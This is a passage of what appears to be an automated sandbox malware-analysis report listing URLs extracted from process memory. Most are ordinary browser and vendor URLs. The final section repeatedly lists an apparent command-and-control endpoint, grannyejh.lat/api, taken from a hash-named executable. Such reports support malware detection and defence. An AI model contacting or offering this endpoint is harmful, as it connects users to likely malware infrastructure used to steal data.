Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/language-tools/
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search-engines/
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search?q=%TERMS%&platform=%OS%&appver=%VERSION%
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/themes
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4830
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4966
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/5845
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/6574
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7161
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7162
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7246
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7308
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7319
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7320
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7369
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7382
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7489
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7604
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7714
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7847
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7899
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://api.accounts.firefox.com/v1
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/app/firefox-private-safe-browser/id989804926
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/us/app/firefox-private-network-vpn/id1489407738
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/GMP/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VER
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/%blockID%.html
Source: 7847e34378.exe, 0000000B.00000002.3292319877.000000000BC23000.00000004.00000020.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.3010226827.0000000005D43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3041125308.0000026EE5DCB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3041968406.00000241686EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: 7847e34378.exe, 0000000B.00000002.3292319877.000000000BC23000.00000004.00000020.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.3010226827.0000000005D43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3041125308.0000026EE5DCB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3041968406.00000241686EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: 3275f9fb1e.exe, 00000010.00000003.2917384800.0000000005D79000.00000004.00000800.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.2916274137.0000000005D79000.00000004.00000800.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.2915145411.0000000005D7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 7847e34378.exe, 0000000B.00000002.3272425703.0000000001511000.00000004.00000020.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.2917384800.0000000005D79000.00000004.00000800.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.2916274137.0000000005D79000.00000004.00000800.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.2915145411.0000000005D7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 7847e34378.exe, 0000000B.00000002.3272425703.0000000001511000.00000004.00000020.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.2917384800.0000000005D79000.00000004.00000800.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.2916274137.0000000005D79000.00000004.00000800.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.2915145411.0000000005D7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chrome.exe, 00000025.00000002.3157359827.0000421400020000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore
Source: chrome.exe, 00000025.00000002.3161990719.0000421400364000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymity-pa.googleapis.com/
Source: chrome.exe, 00000025.00000003.2947847814.0000752800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000025.00000003.2948913200.000075280039C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymity-pa.googleapis.com/2%
Source: chrome.exe, 00000025.00000002.3161990719.0000421400364000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/
Source: chrome.exe, 00000025.00000003.2947847814.0000752800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000025.00000003.2948913200.000075280039C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/2$
Source: chrome.exe, 00000025.00000002.3165733589.000075280078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/KAnonymityServiceJoinRelayServerhttps://chromekanonym
Source: chrome.exe, 00000025.00000003.2952247238.0000752800684000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000025.00000002.3165733589.000075280078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/
Source: chrome.exe, 00000025.00000003.2947847814.0000752800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000025.00000003.2948913200.000075280039C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/2O
Source: chrome.exe, 00000025.00000002.3157359827.0000421400020000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromewebstore.google.com/
Source: chrome.exe, 00000025.00000003.2942710721.00003E20002E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000025.00000003.2942603674.00003E20002D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/cr/report
Source: chrome.exe, 00000025.00000002.3157359827.0000421400020000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f
Source: firefox.exe, 0000001B.00000003.2880026736.000001CEB511F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2880641460.000001CEB513C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2881980919.000001CEB5177000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2881494322.000001CEB515A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2879430180.000001CEB4F00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://content.cdn.mozilla.net
Source: 7847e34378.exe, 0000000B.00000002.3292319877.000000000BC23000.00000004.00000020.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.3010226827.0000000005D43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3041125308.0000026EE5DCB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3041968406.00000241686EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: 7847e34378.exe, 0000000B.00000002.3292319877.000000000BC23000.00000004.00000020.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.3010226827.0000000005D43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3041125308.0000026EE5DCB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3041968406.00000241686EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://coverage.mozilla.org
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://crash-stats.mozilla.org/report/index/
Source: firefox.exe, 0000001B.00000003.3026277382.000001CEBD532000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3020548077.000001CEBD536000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/993268
Source: 1375bfecca.exe, 00000009.00000003.2513994584.0000000007A4F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: 1375bfecca.exe, 00000009.00000003.2513994584.0000000007A4F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/hsts.html
Source: 1375bfecca.exe, 00000009.00000003.2513994584.0000000007A4F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://dap-02.api.divviup.org
Source: firefox.exe, 0000001B.00000003.3026277382.000001CEBD532000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/ElementCSSInlineStyle/style#setting_styles)
Source: firefox.exe, 0000001B.00000003.3026277382.000001CEBD532000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for-await...of
Source: firefox.exe, 0000001B.00000003.3026277382.000001CEBD532000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3020548077.000001CEBD536000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developers.google.com/safe-browsing/v4/advisory
Source: firefox.exe, 0000001B.00000003.2880026736.000001CEB511F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2880641460.000001CEB513C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2881980919.000001CEB5177000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2881494322.000001CEB515A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2879430180.000001CEB4F00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: 7847e34378.exe, 0000000B.00000002.3272425703.0000000001511000.00000004.00000020.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.2917384800.0000000005D79000.00000004.00000800.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.2916274137.0000000005D79000.00000004.00000800.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.2915145411.0000000005D7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 3275f9fb1e.exe, 00000010.00000003.2917384800.0000000005D79000.00000004.00000800.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.2916274137.0000000005D79000.00000004.00000800.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.2915145411.0000000005D7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 7847e34378.exe, 0000000B.00000002.3272425703.0000000001511000.00000004.00000020.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.2917384800.0000000005D79000.00000004.00000800.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.2916274137.0000000005D79000.00000004.00000800.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.2915145411.0000000005D7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 0000001B.00000003.2887291666.000001CEB2F1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2887625945.000001CEB2F33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2885027582.000001CEB2F33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001B.00000003.2887291666.000001CEB2F1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2887625945.000001CEB2F33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2885027582.000001CEB2F33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 00000024.00000002.3041968406.0000024168612000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/networking/dns/trr-skip-reasons.html#
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com/browser?utm_source=firefox-desktop&utm_medium=referral&utm_campaign=about-pr
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ftp.mozilla.org/pub/labs/devtools/adb-extension/#OS#/adb-extension-latest-#OS#.xpi
Source: firefox.exe, 00000024.00000002.3041968406.0000024168612000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 00000024.00000002.3041968406.00000241686C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 00000024.00000002.3041968406.00000241686C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 00000024.00000002.3041968406.000002416862F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 00000024.00000002.3041968406.00000241686C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 00000024.00000002.3041968406.00000241686C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 0000001B.00000003.3026277382.000001CEBD532000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3020548077.000001CEBD536000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/google/closure-compiler/issues/3177
Source: firefox.exe, 0000001B.00000003.3026277382.000001CEBD528000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts
Source: firefox.exe, 0000001B.00000003.3026277382.000001CEBD528000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query.ts
Source: firefox.exe, 0000001B.00000003.3026277382.000001CEBD532000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/issues/1266
Source: firefox.exe, 0000001B.00000003.3026277382.000001CEBD532000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/microsoft/TypeScript/issues/338).
Source: firefox.exe, 0000001B.00000003.2880026736.000001CEB511F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2880641460.000001CEB513C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2881980919.000001CEB5177000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2881494322.000001CEB515A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2879430180.000001CEB4F00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: chrome.exe, 00000025.00000002.3161990719.0000421400364000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/
Source: chrome.exe, 00000025.00000003.2947847814.0000752800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000025.00000003.2948913200.000075280039C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/2J
Source: chrome.exe, 00000025.00000003.2952247238.0000752800684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/hj(u
Source: chrome.exe, 00000025.00000002.3161990719.0000421400364000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/
Source: chrome.exe, 00000025.00000003.2947847814.0000752800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000025.00000003.2948913200.000075280039C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/2P
Source: chrome.exe, 00000025.00000003.2952247238.0000752800684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/https://chromekanonymityquery-pa.googleapis.com/Ena
Source: chrome.exe, 00000025.00000003.2952247238.0000752800684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/https://chromekanonymityquery-pa.googleapis.com/htt
Source: 3275f9fb1e.exe, 0000000C.00000002.2853077303.0000000001248000.00000004.00000020.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.3296599947.00000000014E5000.00000004.00000020.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.3079770226.00000000014E4000.00000004.00000020.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.3120982845.00000000014E4000.00000004.00000020.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.3139692635.00000000014DC000.00000004.00000020.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.3077226546.00000000014DF000.00000004.00000020.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.3115826589.00000000014DF000.00000004.00000020.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.3297149891.00000000014E5000.00000004.00000020.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.3163997358.00000000014E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/
Source: 3275f9fb1e.exe, 0000000C.00000002.2853077303.0000000001248000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/1
Source: 3275f9fb1e.exe, 0000000A.00000002.2716060946.000000000103E000.00000004.00000020.00020000.00000000.sdmp, 3275f9fb1e.exe, 0000000A.00000003.2701984604.00000000010AB000.00000004.00000020.00020000.00000000.sdmp, 3275f9fb1e.exe, 0000000A.00000002.2716166462.00000000010AB000.00000004.00000020.00020000.00000000.sdmp, 3275f9fb1e.exe, 0000000C.00000002.2853077303.0000000001222000.00000004.00000020.00020000.00000000.sdmp, 3275f9fb1e.exe, 0000000C.00000002.2853077303.0000000001248000.00000004.00000020.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.3296599947.00000000014E5000.00000004.00000020.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.3054159265.00000000014ED000.00000004.00000020.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.3139692635.00000000014DC000.00000004.00000020.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.3079770226.00000000014ED000.00000004.00000020.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.3052750220.00000000014ED000.00000004.00000020.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.3296992624.00000000014EC000.00000004.00000020.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.3163997358.00000000014E5000.00000004.00000020.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.3050694019.00000000014ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/api
Source: 3275f9fb1e.exe, 0000000C.00000002.2853077303.0000000001215000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/api$
Source: 3275f9fb1e.exe, 0000000A.00000003.2701984604.00000000010AB000.00000004.00000020.00020000.00000000.sdmp, 3275f9fb1e.exe, 0000000A.00000002.2716166462.00000000010AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/api1
Source: 3275f9fb1e.exe, 0000000A.00000003.2701984604.000000000109A000.00000004.00000020.00020000.00000000.sdmp, 3275f9fb1e.exe, 0000000A.00000002.2716166462.000000000109A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/apiA
Source: 3275f9fb1e.exe, 00000010.00000003.3296599947.00000000014E5000.00000004.00000020.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.3296992624.00000000014EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/apiMP7
Source: 3275f9fb1e.exe, 00000010.00000003.3120982845.00000000014E4000.00000004.00000020.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.3079770226.00000000014ED000.00000004.00000020.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.3115826589.00000000014DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/apies
Source: 3275f9fb1e.exe, 00000010.00000003.3054159265.00000000014ED000.00000004.00000020.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.3052750220.00000000014ED000.00000004.00000020.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.3050694019.00000000014ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/apin$
Source: 3275f9fb1e.exe, 00000010.00000003.3054159265.00000000014ED000.00000004.00000020.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.3052750220.00000000014ED000.00000004.00000020.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.3050694019.00000000014ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/apinte
Source: 3275f9fb1e.exe, 00000010.00000003.3079770226.00000000014ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/apisx
Source: 3275f9fb1e.exe, 0000000C.00000002.2853077303.0000000001222000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/apit
Source: 3275f9fb1e.exe, 0000000A.00000003.2701984604.000000000107A000.00000004.00000020.00020000.00000000.sdmp, 3275f9fb1e.exe, 0000000A.00000002.2716166462.000000000107A000.00000004.00000020.00020000.00000000.sdmp, 3275f9fb1e.exe, 0000000C.00000002.2853077303.0000000001219000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat:443/api
